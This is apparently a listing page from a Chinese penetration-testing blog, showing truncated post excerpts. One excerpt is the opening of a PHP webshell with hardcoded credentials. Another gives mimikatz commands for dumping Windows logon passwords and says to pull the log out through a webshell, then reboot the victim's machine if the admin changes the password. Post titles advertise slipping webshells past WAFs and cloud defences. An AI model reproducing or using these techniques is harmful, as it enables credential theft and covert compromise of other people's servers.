<?php error_reporting(0); ini_set(‘max_execution_time’,0); $user = “anlfi”; $pass = “XXX”; $sm = @ini_get(‘safe_mode’); $SEPARATOR = ‘/’; // Default Directory separator $os = “N/D”; if(stristr(php_uname(),”Windows”)) { $SEPARATOR = ‘\\’; $os = “Windows”; } else if(stristr(php_uname(),”Linux”)) { $os = “Linux”; } function sendLoginAlert() { global $ownerEmail; global $url; $accesedIp = $_SERVER[ […]
Web安全与渗透
mimikatz使用技巧
1.打印（输出）mimikatz执行过程的log. D:\>mimikatz.exe “”privilege::debug”” “”log sekurlsa::logonpasswords full”” exit && dir 2.读取的密码导出在mimikatz的目录，然后用webshell 将log文件copy到web下，在线访问： D:\>mimikatz.exe “”privilege::debug”” “”sekurlsa::logonpasswords full”” exit >> log.txt 如果你登录后，管理员发现有人登录，修改了登录密码， 导致你登录不上了，但是使用mimikatz读取的密码还是之前的， 你可以在webshell里重启他的电脑，然后在执行以上步骤…. 命令： shutdow […]
密码保护：记一次Oracle数据库操作记录
密码保护：过各种WAF和高防CDN上传姿势
密码保护：菜刀过阿里云终极大法
VBS脚本解压mdb压缩包代码
Dim rs, fso, conn, stream, connStr, theFolder Set rs = CreateObject(“ADODB.RecordSet”) Set stream = CreateObject(“ADODB.Stream”) Set conn = CreateObject(“ADODB.Connection”) Set fso = CreateObject(“Scripting.FileSystemObject”) connStr = “Provider = Microsoft.Jet.OLEDB.4.0; Data Source =Test.mdb;” If Not fso.FileExists(“Test.mdb”) Then Dim PackFile PackFile = InputBox(“输入要解包的完整路径:”, “文件解包”, “C:\Test […]